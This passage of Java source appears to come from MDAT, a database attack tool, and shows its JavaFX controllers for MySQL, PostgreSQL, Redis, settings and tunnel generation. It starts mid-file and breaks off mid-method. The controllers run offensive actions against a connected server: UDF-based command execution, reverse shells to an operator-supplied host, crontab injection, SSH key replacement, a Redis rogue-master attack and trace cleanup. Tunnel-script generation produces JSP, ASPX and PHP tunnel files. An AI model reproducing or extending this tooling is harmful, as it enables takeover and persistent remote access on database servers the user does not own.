javafx.scene.control.TextArea; 17 | import javafx.scene.control.TextField; 18 | import org.json.JSONObject; 19 | 20 | 21 | import java.net.URL; 22 | import java.util.ArrayList; 23 | import java.util.List; 24 | import java.util.ResourceBundle; 25 | 26 | /** 27 | * @author ch1ng 28 | */ 29 | public class MysqlController implements Initializable { 30 | 31 | 32 | @FXML 33 | private ComboBox MysqlEncode; 34 | 35 | @FXML 36 | private Button mysqlntfs; 37 | 38 | @FXML 39 | private TextField reverseAddressTextField; 40 | 41 | @FXML 42 | private TextField reversePortTextField; 43 | 44 | @FXML 45 | private Button mysqlclean; 46 | 47 | @FXML 48 | private TextArea mysqloutput; 49 | 50 | @FXML 51 | private TextField mysqlcommand; 52 | 53 | @FXML 54 | private Button mysqleval; 55 | 56 | @FXML 57 | private Button mysqludf; 58 | 59 | @FXML 60 | public TextArea mysqlLogTextArea; 61 | 62 | /** 63 | * 存储从 MysqlDao 传递过来的 mysqlDao 使用 64 | */ 65 | private MysqlDao mysqlDao; 66 | 67 | private MysqlHttpDao mysqlHttpDao; 68 | 69 | private JSONObject dataObj; 70 | 71 | private List workList = new ArrayList(); 72 | 73 | public List getWorkList() { 74 | return this.workList; 75 | } 76 | 77 | 78 | /** 79 | * 初始化连接,赋予全局变量 mysqlDao 80 | * 81 | * @param dbObj 82 | */ 83 | public void initMysqlDao(JSONObject dbObj) { 84 | this.dataObj = dbObj; 85 | mysqlLogTextArea.appendText(Utils.log("正在连接...")); 86 | } 87 | 88 | @Override 89 | public void initialize(URL location, ResourceBundle resources) { 90 | // 初始化下拉框 91 | initComboBox(); 92 | // 初始化当前 controllers 。方便其他 controllers 调用 93 | ControllersFactory.controllers.put(this.getClass().getSimpleName(), this); 94 | // 尝试连接 95 | Runnable runner = () -> { 96 | try { 97 | if("false".equals(this.dataObj.getString("ishttp"))){ 98 | this.mysqlDao = new MysqlDao(this.dataObj.getString("ipaddress"), this.dataObj.getString("port"), 99 | this.dataObj.getString("database"), this.dataObj.getString("username"), this.dataObj.getString("password"), this.dataObj.getString("timeout")); 100 | this.mysqlDao.getConnection(); 101 | Platform.runLater(() -> { 102 | mysqlLogTextArea.appendText(Utils.log("连接成功!")); 103 | // 获取信息输出 104 | this.mysqlDao.getInfo(); 105 | }); 106 | }else { 107 | Platform.runLater(() -> { 108 | this.mysqlHttpDao = new MysqlHttpDao(this.dataObj); 109 | this.mysqlHttpDao.getConnection(); 110 | this.mysqlHttpDao.getInfo(); 111 | }); 112 | } 113 | 114 | } catch (Exception e) { 115 | if("false".equals(this.dataObj.getString("ishttp"))){ 116 | Platform.runLater(() -> { 117 | mysqlLogTextArea.appendText(Utils.log("连接失败!")); 118 | MessageUtil.showExceptionMessage(e, e.getMessage()); 119 | try { 120 | this.mysqlDao.closeConnection(); 121 | } catch (Exception ex) { 122 | } 123 | }); 124 | } 125 | } 126 | }; 127 | Thread workThrad = new Thread(runner); 128 | this.workList.add(workThrad); 129 | workThrad.start(); 130 | } 131 | 132 | /** 133 | * 下拉框初始化 134 | */ 135 | public void initComboBox() { 136 | ObservableList MysqlTypeCodeoptions = FXCollections.observableArrayList( 137 | "UTF-8", 138 | "GB2312", 139 | "GBK" 140 | ); 141 | // 初始化下拉框 142 | MysqlEncode.setValue("UTF-8"); 143 | MysqlEncode.setItems(MysqlTypeCodeoptions); 144 | } 145 | 146 | @FXML 147 | void mysqludf(ActionEvent event) { 148 | Runnable runner = () -> { 149 | if("false".equals(this.dataObj.getString("ishttp"))){ 150 | this.mysqlDao.udf("sys_eval"); 151 | }else { 152 | Platform.runLater(() -> { 153 | this.mysqlHttpDao.importUDF("sys_eval"); 154 | }); 155 | } 156 | }; 157 | Thread workThrad = new Thread(runner); 158 | workThrad.start(); 159 | 160 | 161 | } 162 | 163 | @FXML 164 | void reverseRun(ActionEvent event) { 165 | Runnable runner = () -> { 166 | String reverseAddress = reverseAddressTextField.getText(); 167 | String reversePort = reversePortTextField.getText(); 168 | if("false".equals(this.dataObj.getString("ishttp"))){ 169 | this.mysqlDao.reverseShell(reverseAddress, reversePort, "UTF-8"); 170 | 171 | }else { 172 | this.mysqlHttpDao.reverseShell(reverseAddress, reversePort, "UTF-8"); 173 | } 174 | }; 175 | Thread workThrad = new Thread(runner); 176 | workThrad.start(); 177 | 178 | } 179 | 180 | @FXML 181 | void mysqlntfs(ActionEvent event) { 182 | Runnable runner = () -> { 183 | if("false".equals(this.dataObj.getString("ishttp"))){ 184 | this.mysqlDao.ntfsdir(); 185 | }else { 186 | this.mysqlHttpDao.ntfsdir(); 187 | } 188 | }; 189 | Thread workThrad = new Thread(runner); 190 | workThrad.start(); 191 | 192 | 193 | } 194 | 195 | @FXML 196 | void mysqlclean(ActionEvent event) { 197 | Runnable runner = () -> { 198 | if("false".equals(this.dataObj.getString("ishttp"))){ 199 | this.mysqlDao.cleanudf(); 200 | }else { 201 | this.mysqlHttpDao.cleanudf(); 202 | } 203 | }; 204 | Thread workThrad = new Thread(runner); 205 | workThrad.start(); 206 | 207 | 208 | } 209 | 210 | @FXML 211 | void mysqleval(ActionEvent event) { 212 | Runnable runner = () -> { 213 | String command = mysqlcommand.getText(); 214 | String code = MysqlEncode.getValue(); 215 | String res = ""; 216 | if (code == null) { 217 | MessageUtil.showErrorMessage( "请选择编码类型"); 218 | return; 219 | }else if(command == null){ 220 | MessageUtil.showErrorMessage( "请填写执行命令"); 221 | return; 222 | } 223 | if("false".equals(this.dataObj.getString("ishttp"))){ 224 | res = this.mysqlDao.eval(command, code); 225 | }else { 226 | res = this.mysqlHttpDao.eval(command, code); 227 | } 228 | mysqloutput.setText(res); 229 | }; 230 | Thread workThrad = new Thread(runner); 231 | workThrad.start(); 232 | 233 | } 234 | } 235 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Controller/PostgreSqlController.java: -------------------------------------------------------------------------------- 1 | package Controller; 2 | 3 | import Dao.MysqlHttpDao; 4 | import Dao.PostgreSqlDao; 5 | import Dao.PostgreSqlHttpDao; 6 | import Entity.ControllersFactory; 7 | import Util.MessageUtil; 8 | import Util.Utils; 9 | import javafx.application.Platform; 10 | import javafx.collections.FXCollections; 11 | import javafx.collections.ObservableList; 12 | import javafx.event.ActionEvent; 13 | import javafx.fxml.FXML; 14 | import javafx.fxml.Initializable; 15 | import javafx.scene.control.Button; 16 | import javafx.scene.control.ComboBox; 17 | import javafx.scene.control.TextArea; 18 | import javafx.scene.control.TextField; 19 | import org.json.JSONObject; 20 | 21 | import java.net.URL; 22 | import java.util.ArrayList; 23 | import java.util.List; 24 | import java.util.ResourceBundle; 25 | 26 | public class PostgreSqlController implements Initializable { 27 | 28 | @FXML 29 | private ComboBox postgreSqlEncodeCombox; 30 | 31 | @FXML 32 | private Button postgreSqlcCearnBtn; 33 | 34 | @FXML 35 | private Button postgreSqlcUdfBtn; 36 | 37 | @FXML 38 | public TextArea postgreSqlLogTextArea; 39 | 40 | @FXML 41 | private Button postgreSqlEvalBtn; 42 | 43 | @FXML 44 | private TextArea postgreSqlOutputTextArea; 45 | 46 | @FXML 47 | private TextField postgreSqlCommandText; 48 | 49 | @FXML 50 | private Button postgreSqlSystemBtn; 51 | 52 | /** 53 | * 存储从 PostgreSqlDao 传递过来的 postgreSqlDao 使用 54 | */ 55 | private PostgreSqlDao postgreDao; 56 | 57 | private JSONObject dataObj; 58 | 59 | private List workList = new ArrayList(); 60 | 61 | private PostgreSqlHttpDao postgreSqlHttpDao; 62 | 63 | public List getWorkList() { 64 | return this.workList; 65 | } 66 | 67 | /** 68 | * 初始化连接,赋予全局变量 PostgreDao 69 | * 70 | * @param dbObj 71 | */ 72 | public void initPostgreDao(JSONObject dbObj) { 73 | this.dataObj = dbObj; 74 | postgreSqlLogTextArea.appendText(Utils.log("正在连接...")); 75 | } 76 | 77 | @Override 78 | public void initialize(URL location, ResourceBundle resources) { 79 | //初始化下拉框 80 | initComboBox(); 81 | ControllersFactory.controllers.put(this.getClass().getSimpleName(), this); 82 | // 尝试连接 83 | Runnable runner = () -> { 84 | try { 85 | 86 | if("false".equals(this.dataObj.getString("ishttp"))){ 87 | this.postgreDao = new PostgreSqlDao(this.dataObj.getString("ipaddress"), this.dataObj.getString("port"), this.dataObj.getString("database"), this.dataObj.getString("username"), this.dataObj.getString("password"), this.dataObj.getString("timeout")); 88 | this.postgreDao.getConnection(); 89 | Platform.runLater(() -> { 90 | postgreSqlLogTextArea.appendText(Utils.log("连接成功!")); 91 | // 获取信息输出 92 | this.postgreDao.getInfo(); 93 | }); 94 | }else { 95 | Platform.runLater(() -> { 96 | this.postgreSqlHttpDao = new PostgreSqlHttpDao(this.dataObj); 97 | this.postgreSqlHttpDao.getConnection(); 98 | this.postgreSqlHttpDao.getInfo(); 99 | }); 100 | } 101 | 102 | } catch (Exception e) { 103 | if("false".equals(this.dataObj.getString("ishttp"))){ 104 | Platform.runLater(() -> { 105 | postgreSqlLogTextArea.appendText(Utils.log("连接失败!")); 106 | MessageUtil.showExceptionMessage(e, e.getMessage()); 107 | try { 108 | this.postgreDao.closeConnection(); 109 | } catch (Exception ex) { 110 | Platform.runLater(() -> { 111 | MessageUtil.showExceptionMessage(e, e.getMessage()); 112 | }); 113 | } 114 | }); 115 | } 116 | } 117 | }; 118 | Thread workThrad = new Thread(runner); 119 | this.workList.add(workThrad); 120 | workThrad.start(); 121 | } 122 | 123 | /** 124 | * 下拉框初始化 125 | */ 126 | public void initComboBox(){ 127 | ObservableList postgreSqlTypeCodeoptions = FXCollections.observableArrayList( 128 | "UTF-8", 129 | "GB2312", 130 | "GBK" 131 | ); 132 | // 初始化下拉框 133 | postgreSqlEncodeCombox.setValue("UTF-8"); 134 | postgreSqlEncodeCombox.setItems(postgreSqlTypeCodeoptions); 135 | } 136 | 137 | 138 | @FXML 139 | void postgreSqlSystem(ActionEvent event) { 140 | Runnable runner = () -> { 141 | if("false".equals(this.dataObj.getString("ishttp"))){ 142 | this.postgreDao.createEval(); 143 | }else { 144 | this.postgreSqlHttpDao.createEval(); 145 | } 146 | }; 147 | Thread workThrad = new Thread(runner); 148 | workThrad.start(); 149 | } 150 | 151 | @FXML 152 | void postgreSqlcUdf(ActionEvent event) { 153 | Runnable runner = () -> { 154 | if("false".equals(this.dataObj.getString("ishttp"))){ 155 | this.postgreDao.udf(); 156 | }else { 157 | this.postgreSqlHttpDao.udf(); 158 | } 159 | }; 160 | Thread workThrad = new Thread(runner); 161 | workThrad.start(); 162 | 163 | } 164 | 165 | @FXML 166 | void postgreSqlclean(ActionEvent event) { 167 | Runnable runner = () -> { 168 | if("false".equals(this.dataObj.getString("ishttp"))){ 169 | this.postgreDao.clear(); 170 | }else { 171 | this.postgreSqlHttpDao.clear(); 172 | } 173 | }; 174 | Thread workThrad = new Thread(runner); 175 | workThrad.start(); 176 | 177 | } 178 | 179 | @FXML 180 | void postgreSqlEval(ActionEvent event) { 181 | 182 | Runnable runner = () -> { 183 | try { 184 | String command = postgreSqlCommandText.getText(); 185 | String code = postgreSqlEncodeCombox.getValue(); 186 | if(code == null){ 187 | MessageUtil.showErrorMessage("请选择编码类型"); 188 | return; 189 | } 190 | if("false".equals(this.dataObj.getString("ishttp"))){ 191 | String result = this.postgreDao.eval(command,code); 192 | postgreSqlOutputTextArea.setText(result); 193 | }else { 194 | String result = this.postgreSqlHttpDao.eval(command,code); 195 | postgreSqlOutputTextArea.setText(result); 196 | } 197 | } catch (Exception e) { 198 | Platform.runLater(() -> { 199 | MessageUtil.showExceptionMessage(e, e.getMessage()); 200 | }); 201 | } 202 | }; 203 | Thread workThrad = new Thread(runner); 204 | workThrad.start(); 205 | 206 | 207 | } 208 | } 209 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Controller/RedisController.java: -------------------------------------------------------------------------------- 1 | package Controller; 2 | 3 | import Dao.RedisDao; 4 | import Entity.ControllersFactory; 5 | import Util.MessageUtil; 6 | import Util.Utils; 7 | import javafx.application.Platform; 8 | import javafx.collections.FXCollections; 9 | import javafx.collections.ObservableList; 10 | import javafx.event.ActionEvent; 11 | import javafx.fxml.FXML; 12 | import javafx.fxml.Initializable; 13 | import javafx.scene.control.Button; 14 | import javafx.scene.control.ComboBox; 15 | import javafx.scene.control.TextArea; 16 | import javafx.scene.control.TextField; 17 | import org.json.JSONObject; 18 | 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.List; 22 | import java.util.ResourceBundle; 23 | 24 | public class RedisController implements Initializable { 25 | 26 | @FXML 27 | private TextField redisVPSAddressTextField; 28 | 29 | @FXML 30 | private TextField redisCommandTextField; 31 | 32 | @FXML 33 | private ComboBox redisEncodeCombox; 34 | 35 | @FXML 36 | private Button redisEvalCommandBtn; 37 | 38 | @FXML 39 | private Button redisScheduledTasksBtn; 40 | 41 | @FXML 42 | private Button redisReplaceSSHKeyBtn; 43 | 44 | @FXML 45 | private Button redisClearBtn; 46 | 47 | 48 | @FXML 49 | private Button redisSlavebtn; 50 | 51 | @FXML 52 | public TextArea redisOutputTextFArea; 53 | 54 | @FXML 55 | public TextArea redisLogTextFArea; 56 | 57 | @FXML 58 | public TextArea redisPublicKeyInput; 59 | 60 | @FXML 61 | public TextArea redisCronTaskInput; 62 | 63 | @FXML 64 | private TextField redisVPSPortTextField; 65 | 66 | @FXML 67 | private TextField redisVPSTimeOutTextField; 68 | 69 | @FXML 70 | private Button redisRevBtn; 71 | 72 | @FXML 73 | private TextField redisRevIPTextField; 74 | 75 | @FXML 76 | private TextField redisRevPortTextField; 77 | 78 | 79 | @FXML 80 | private TextField redisKeyPathInput; 81 | 82 | /** 83 | * 存储从 PostgreSqlDao 传递过来的 postgreSqlDao 使用 84 | */ 85 | private RedisDao redisDao; 86 | 87 | private JSONObject dataObj; 88 | 89 | private List workList = new ArrayList(); 90 | 91 | public List getWorkList() { 92 | return this.workList; 93 | } 94 | 95 | /** 96 | * 初始化连接,赋予全局变量 redisDao 97 | * 98 | * @param dbObj 99 | */ 100 | public void initRedisDao(JSONObject dbObj) { 101 | this.dataObj = dbObj; 102 | redisLogTextFArea.appendText(Utils.log("正在连接...")); 103 | } 104 | 105 | @Override 106 | public void initialize(URL location, ResourceBundle resources) { 107 | initComboBox(); 108 | ControllersFactory.controllers.put(this.getClass().getSimpleName(), this); 109 | // 尝试连接 110 | Runnable runner = () -> { 111 | try { 112 | this.redisDao = new RedisDao(this.dataObj.getString("ipaddress"), this.dataObj.getString("port"), this.dataObj.getString("password"), this.dataObj.getString("timeout")); 113 | this.redisDao.getConnection(); 114 | this.redisDao.getInfo(); 115 | Platform.runLater(() -> { 116 | redisLogTextFArea.appendText(Utils.log("连接成功!")); 117 | }); 118 | // 获取信息输出 119 | } catch (Exception e) { 120 | Platform.runLater(() -> { 121 | redisLogTextFArea.appendText(Utils.log("连接失败!")); 122 | MessageUtil.showExceptionMessage(e, e.getMessage()); 123 | try { 124 | this.redisDao.closeConnection(); 125 | } catch (Exception ex) { 126 | } 127 | }); 128 | } 129 | }; 130 | Thread workThrad = new Thread(runner); 131 | this.workList.add(workThrad); 132 | workThrad.start(); 133 | } 134 | 135 | @FXML 136 | void redisScheduledTasks(ActionEvent event) { 137 | Runnable runner = () -> { 138 | this.redisDao.crontab(redisCronTaskInput.getText()); 139 | }; 140 | Thread workThrad = new Thread(runner); 141 | workThrad.start(); 142 | 143 | } 144 | 145 | @FXML 146 | void redisReplaceSSHKey(ActionEvent event) { 147 | Runnable runner = () -> { 148 | this.redisDao.sshkey(redisPublicKeyInput.getText(),redisKeyPathInput.getText()); 149 | }; 150 | Thread workThrad = new Thread(runner); 151 | workThrad.start(); 152 | } 153 | 154 | @FXML 155 | void redisSlave(ActionEvent event) { 156 | String vpsAddress = redisVPSAddressTextField.getText(); 157 | String vpsPort = redisVPSPortTextField.getText(); 158 | Runnable runner = () -> { 159 | if (!(vpsAddress.equals("") && vpsPort.equals(""))) { 160 | int timeout = Integer.parseInt(redisVPSTimeOutTextField.getText()) * 1000; 161 | try { 162 | this.redisDao.rogue(vpsAddress, vpsPort, timeout); 163 | } catch (Exception e) { 164 | Platform.runLater(() -> { 165 | MessageUtil.showExceptionMessage(e, e.getMessage()); 166 | }); 167 | } finally { 168 | RedisDao.CONN.slaveofNoOne(); 169 | } 170 | } else { 171 | Platform.runLater(() -> { 172 | MessageUtil.showErrorMessage("请输入vps地址和端口"); 173 | }); 174 | 175 | } 176 | }; 177 | Thread workThrad = new Thread(runner); 178 | workThrad.start(); 179 | } 180 | 181 | @FXML 182 | void redisClear(ActionEvent event) { 183 | Runnable runner = () -> { 184 | this.redisDao.clean(); 185 | }; 186 | Thread workThrad = new Thread(runner); 187 | workThrad.start(); 188 | } 189 | 190 | @FXML 191 | void redisEvalCommand(ActionEvent event) { 192 | Runnable runner = () -> { 193 | String command = this.redisCommandTextField.getText(); 194 | String code = redisEncodeCombox.getValue(); 195 | if (code == null) { 196 | Platform.runLater(() -> { 197 | MessageUtil.showErrorMessage("请选择编码类型"); 198 | }); 199 | return; 200 | } 201 | String result = this.redisDao.eval(command, code); 202 | Platform.runLater(() -> { 203 | redisOutputTextFArea.setText(result); 204 | }); 205 | }; 206 | Thread workThrad = new Thread(runner); 207 | workThrad.start(); 208 | } 209 | 210 | /** 211 | * 反弹shell 212 | **/ 213 | @FXML 214 | void redisRev(ActionEvent event) { 215 | Runnable runner = () -> { 216 | String revIp = this.redisRevIPTextField.getText(); 217 | String revPort = redisRevPortTextField.getText(); 218 | if (revIp == null || revIp.isEmpty() || revPort == null || revPort.isEmpty()) { 219 | Platform.runLater(() -> { 220 | MessageUtil.showErrorMessage("请补全反弹的ip地址或端口"); 221 | }); 222 | return; 223 | } 224 | 225 | Platform.runLater(() -> { 226 | redisLogTextFArea.appendText(Utils.log("正在尝试反弹到: " + revIp + ":" + revPort + " 请稍等,注意查看vps")); 227 | }); 228 | 229 | String result = this.redisDao.revShell(revIp, revPort); 230 | Platform.runLater(() -> { 231 | redisOutputTextFArea.setText(result); 232 | }); 233 | }; 234 | Thread workThread = new Thread(runner); 235 | workThread.start(); 236 | } 237 | 238 | /** 239 | * 下拉框初始化 240 | */ 241 | public void initComboBox() { 242 | ObservableList postgreSqlTypeCodeoptions = FXCollections.observableArrayList( 243 | "UTF-8", 244 | "GB2312", 245 | "GBK" 246 | ); 247 | // 初始化下拉框 248 | redisEncodeCombox.setPromptText("UTF-8"); 249 | redisEncodeCombox.setValue("UTF-8"); 250 | redisEncodeCombox.setItems(postgreSqlTypeCodeoptions); 251 | } 252 | } 253 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Controller/SettingController.java: -------------------------------------------------------------------------------- 1 | package Controller; 2 | 3 | import Util.MessageUtil; 4 | import Util.YamlConfigs; 5 | import javafx.event.ActionEvent; 6 | import javafx.fxml.FXML; 7 | import javafx.fxml.Initializable; 8 | import javafx.scene.control.*; 9 | import javafx.stage.FileChooser; 10 | import javafx.stage.Stage; 11 | 12 | import java.io.File; 13 | import java.net.URL; 14 | import java.util.Map; 15 | import java.util.ResourceBundle; 16 | 17 | /** 18 | * @author ch1ng 19 | */ 20 | public class SettingController implements Initializable { 21 | 22 | 23 | @FXML 24 | private CheckBox warnBox; 25 | 26 | @FXML 27 | private Button mssqlBtn; 28 | 29 | @FXML 30 | private CheckBox autoUpdateBox; 31 | 32 | @FXML 33 | private TextField mysqlJDBCUrlText; 34 | 35 | @FXML 36 | private Button oracleBtn; 37 | 38 | @FXML 39 | private Button mysqlBtn; 40 | 41 | @FXML 42 | private TextField mssqlJDBCUrlText; 43 | 44 | @FXML 45 | private TextField postgreSqlJDBCUrlText; 46 | 47 | @FXML 48 | private TextField mysqlText; 49 | 50 | @FXML 51 | private TextField mssqlClassNameText; 52 | 53 | @FXML 54 | private Button cancelBtn; 55 | 56 | @FXML 57 | private TextField oracleText; 58 | 59 | @FXML 60 | private TextField oracleJDBCUrlText; 61 | 62 | @FXML 63 | private Button postgreSqlBtn; 64 | 65 | @FXML 66 | private TextField mysqlClassNameText; 67 | 68 | @FXML 69 | private TextField oracleClassNameText; 70 | 71 | @FXML 72 | private TextField mssqlText; 73 | 74 | @FXML 75 | private TextField postgreSqlText; 76 | 77 | @FXML 78 | private TextField postgreSqlClassNameText; 79 | 80 | @FXML 81 | private Button saveBtn; 82 | 83 | 84 | // 当前文件全局初始化入口 85 | @Override 86 | public void initialize(URL location, ResourceBundle resources) { 87 | InitProperties(); 88 | } 89 | 90 | 91 | /** 92 | * 初始化界面参数 93 | */ 94 | public void InitProperties(){ 95 | try { 96 | YamlConfigs configs = new YamlConfigs(); 97 | Map yamlToMap = configs.getYamlToMap("config.yaml"); 98 | // 99 | // 获取 conf.properties 内容并且加载到对应变量 100 | String StartWarn = (String) configs.getValue("Global.StartWarn",yamlToMap); 101 | 102 | String mysqlDriver = (String) configs.getValue("Mysql.Driver",yamlToMap); 103 | String mysqlClassName = (String) configs.getValue("Mysql.ClassName",yamlToMap); 104 | String mysqlJDBCUrl = (String) configs.getValue("Mysql.JDBCUrl",yamlToMap); 105 | 106 | String mssqlDriver = (String) configs.getValue("Mssql.Driver",yamlToMap); 107 | String mssqlClassName = (String) configs.getValue("Mssql.ClassName",yamlToMap); 108 | String mssqlJDBCUrl = (String) configs.getValue("Mssql.JDBCUrl",yamlToMap); 109 | 110 | String oracleDriver = (String) configs.getValue("Oracle.Driver",yamlToMap); 111 | String oracleClassName = (String) configs.getValue("Oracle.ClassName",yamlToMap); 112 | String oracleJDBCUrl = (String) configs.getValue("Oracle.JDBCUrl",yamlToMap); 113 | 114 | 115 | String posetgreSqlDriver = (String) configs.getValue("PostgreSql.Driver",yamlToMap); 116 | String posetgreSqlClassName = (String) configs.getValue("PostgreSql.ClassName",yamlToMap); 117 | String posetgreSqlJDBCUrl = (String) configs.getValue("PostgreSql.JDBCUrl",yamlToMap); 118 | // 判断是否需要弹出用户须知 119 | if("false".equals(StartWarn)){ 120 | warnBox.setSelected(false); 121 | }else { 122 | warnBox.setSelected(true); 123 | } 124 | // 输出到对应的 Text 框 125 | mysqlText.setText(mysqlDriver); 126 | mysqlClassNameText.setText(mysqlClassName); 127 | mysqlJDBCUrlText.setText(mysqlJDBCUrl); 128 | 129 | mssqlText.setText(mssqlDriver); 130 | mssqlClassNameText.setText(mssqlClassName); 131 | mssqlJDBCUrlText.setText(mssqlJDBCUrl); 132 | 133 | oracleText.setText(oracleDriver); 134 | oracleClassNameText.setText(oracleClassName); 135 | oracleJDBCUrlText.setText(oracleJDBCUrl); 136 | 137 | postgreSqlText.setText(posetgreSqlDriver); 138 | postgreSqlClassNameText.setText(posetgreSqlClassName); 139 | postgreSqlJDBCUrlText.setText(posetgreSqlJDBCUrl); 140 | } catch (Exception e) { 141 | MessageUtil.showExceptionMessage(e,e.getMessage()); 142 | } 143 | } 144 | 145 | @FXML 146 | void MysqlAction(ActionEvent event) { 147 | Stage stage = new Stage(); 148 | FileChooser fileChooser = new FileChooser(); 149 | File file = fileChooser.showOpenDialog(stage); 150 | if(file != null){ 151 | mysqlText.setText(file.getAbsolutePath()); 152 | } 153 | } 154 | 155 | @FXML 156 | void MssqlAction(ActionEvent event) { 157 | Stage stage = new Stage(); 158 | FileChooser fileChooser = new FileChooser(); 159 | File file = fileChooser.showOpenDialog(stage); 160 | if(file != null){ 161 | mssqlText.setText(file.getAbsolutePath()); 162 | } 163 | } 164 | 165 | @FXML 166 | void OracleAction(ActionEvent event) { 167 | Stage stage = new Stage(); 168 | FileChooser fileChooser = new FileChooser(); 169 | File file = fileChooser.showOpenDialog(stage); 170 | if(file != null){ 171 | oracleText.setText(file.getAbsolutePath()); 172 | } 173 | } 174 | 175 | @FXML 176 | void PostgreSqlAction(ActionEvent event) { 177 | Stage stage = new Stage(); 178 | FileChooser fileChooser = new FileChooser(); 179 | File file = fileChooser.showOpenDialog(stage); 180 | if(file != null){ 181 | postgreSqlText.setText(file.getAbsolutePath()); 182 | } 183 | } 184 | 185 | 186 | @FXML 187 | void SaveAction(ActionEvent event) { 188 | // 获取对应的控件状态以及值 189 | String mysqltext = mysqlText.getText(); 190 | String mysqlClassName = mysqlClassNameText.getText(); 191 | String mysqlJDBCUrl = mysqlJDBCUrlText.getText(); 192 | 193 | String mssqltext = mssqlText.getText(); 194 | String mssqlClassName = mssqlClassNameText.getText(); 195 | String mssqlJDBCUrl = mssqlJDBCUrlText.getText(); 196 | 197 | String oracletext = oracleText.getText(); 198 | String oracleClassName = oracleClassNameText.getText(); 199 | String oracleJDBCUrl = oracleJDBCUrlText.getText(); 200 | 201 | String postgreSqltext = postgreSqlText.getText(); 202 | String postgreSqlClassName = postgreSqlClassNameText.getText(); 203 | String postgreSqlJDBCUrl = postgreSqlJDBCUrlText.getText(); 204 | 205 | //String autoupdatebox = autoUpdateBox.isSelected() ? "true" : "false"; 206 | String warnebox = warnBox.isSelected() ? "true" : "false"; 207 | YamlConfigs configs = new YamlConfigs(); 208 | Map yamlToMap = configs.getYamlToMap("config.yaml"); 209 | try { 210 | // 修改配置文件对应的值 211 | //configs.updateYaml("Global.AutoUpdate",autoupdatebox, "config.yaml"); 212 | configs.updateYaml("Global.StartWarn",warnebox, "config.yaml"); 213 | 214 | 215 | configs.updateYaml("Mysql.Driver",mysqltext, "config.yaml"); 216 | configs.updateYaml("Mysql.ClassName",mysqlClassName, "config.yaml"); 217 | configs.updateYaml("Mysql.JDBCUrl",mysqlJDBCUrl, "config.yaml"); 218 | 219 | configs.updateYaml("Mssql.Driver",mssqltext, "config.yaml"); 220 | configs.updateYaml("Mssql.ClassName",mssqlClassName, "config.yaml"); 221 | configs.updateYaml("Mssql.JDBCUrl",mssqlJDBCUrl, "config.yaml"); 222 | 223 | configs.updateYaml("Oracle.Driver",oracletext, "config.yaml"); 224 | configs.updateYaml("Oracle.ClassName",oracleClassName, "config.yaml"); 225 | configs.updateYaml("Oracle.JDBCUrl",oracleJDBCUrl, "config.yaml"); 226 | 227 | configs.updateYaml("PostgreSql.Driver",postgreSqltext, "config.yaml"); 228 | configs.updateYaml("PostgreSql.ClassName",postgreSqlClassName, "config.yaml"); 229 | configs.updateYaml("PostgreSql.JDBCUrl",postgreSqlJDBCUrl, "config.yaml"); 230 | 231 | MessageUtil.showInfoMessage("保存成功!"); 232 | } catch (Exception e) { 233 | MessageUtil.showExceptionMessage(e,e.getMessage()); 234 | } 235 | } 236 | 237 | @FXML 238 | void CancelAction(ActionEvent event) { 239 | //获取窗口 windows 然后关闭 240 | Stage stage = (Stage) cancelBtn.getScene().getWindow(); 241 | stage.close(); 242 | } 243 | 244 | } -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Controller/TunnelGenerationController.java: -------------------------------------------------------------------------------- 1 | package Controller; 2 | 3 | /** 4 | * @author ch1ng 5 | * @date 2022/6/14 6 | */ 7 | 8 | import Util.MessageUtil; 9 | import Util.Utils; 10 | import javafx.collections.FXCollections; 11 | import javafx.collections.ObservableList; 12 | import javafx.event.ActionEvent; 13 | import javafx.fxml.FXML; 14 | import javafx.fxml.Initializable; 15 | import javafx.scene.control.Button; 16 | import javafx.scene.control.ComboBox; 17 | import javafx.scene.control.TextArea; 18 | import javafx.scene.control.TextField; 19 | import javafx.stage.FileChooser; 20 | import javafx.stage.Stage; 21 | 22 | import java.io.File; 23 | import java.net.URL; 24 | import java.util.ResourceBundle; 25 | 26 | public class TunnelGenerationController implements Initializable { 27 | 28 | @FXML 29 | private Button createBtn; 30 | 31 | @FXML 32 | private ComboBox databaseTypeComboBox; 33 | 34 | @FXML 35 | private TextField keyTextField; 36 | 37 | @FXML 38 | private Button randomGenerateBtn; 39 | 40 | @FXML 41 | private Button saveBtn; 42 | 43 | @FXML 44 | private ComboBox scriptTypeComboBox; 45 | 46 | @FXML 47 | private TextArea tunnelScriptTextArea; 48 | 49 | @Override 50 | public void initialize(URL location, ResourceBundle resources) { 51 | // 初始化 scriptType 52 | ObservableList scriptTypeOptions = FXCollections.observableArrayList( 53 | "JSP", 54 | "ASPX", 55 | "PHP" 56 | ); 57 | // 初始化下拉框 58 | scriptTypeComboBox.setPromptText("JSP"); 59 | scriptTypeComboBox.setValue("JSP"); 60 | scriptTypeComboBox.setItems(scriptTypeOptions); 61 | 62 | // 初始化 databaseType 63 | ObservableList databaseTypeOptions = FXCollections.observableArrayList( 64 | "Mssql", 65 | "Mysql", 66 | "Oracle", 67 | "PostgreSql" 68 | ); 69 | // 初始化下拉框 70 | databaseTypeComboBox.setPromptText("Oracle"); 71 | databaseTypeComboBox.setValue("Oracle"); 72 | databaseTypeComboBox.setItems(databaseTypeOptions); 73 | 74 | 75 | } 76 | 77 | @FXML 78 | void create(ActionEvent event) { 79 | try { 80 | 81 | String databaseType = databaseTypeComboBox.getValue(); 82 | String scriptType = scriptTypeComboBox.getValue(); 83 | String key = keyTextField.getText(); 84 | String path = Utils.getSelfPath() + File.separator + "Plugins" + File.separator + "Template" + File.separator + databaseType.toLowerCase() + "_tunnel." + scriptType.toLowerCase(); 85 | String content = Utils.readFile(path); 86 | if(key.equals("")){ 87 | MessageUtil.showErrorMessage("请填写密钥!"); 88 | return; 89 | } 90 | tunnelScriptTextArea.setText(content.replace("{KeyString}",key)); 91 | } catch (Exception e) { 92 | String except = e.getMessage(); 93 | if(except.contains("No such file or directory")){ 94 | tunnelScriptTextArea.setText("暂时不支持此脚本"); 95 | } 96 | } 97 | 98 | 99 | } 100 | 101 | @FXML 102 | void randomGenerate(ActionEvent event) { 103 | keyTextField.setText(Utils.getRandomString()); 104 | } 105 | 106 | @FXML 107 | void save(ActionEvent event) { 108 | FileChooser dc = new FileChooser(); 109 | dc.setTitle("选择一个文件夹"); 110 | File file = dc.showSaveDialog(new Stage()); 111 | if(file != null){ 112 | try { 113 | 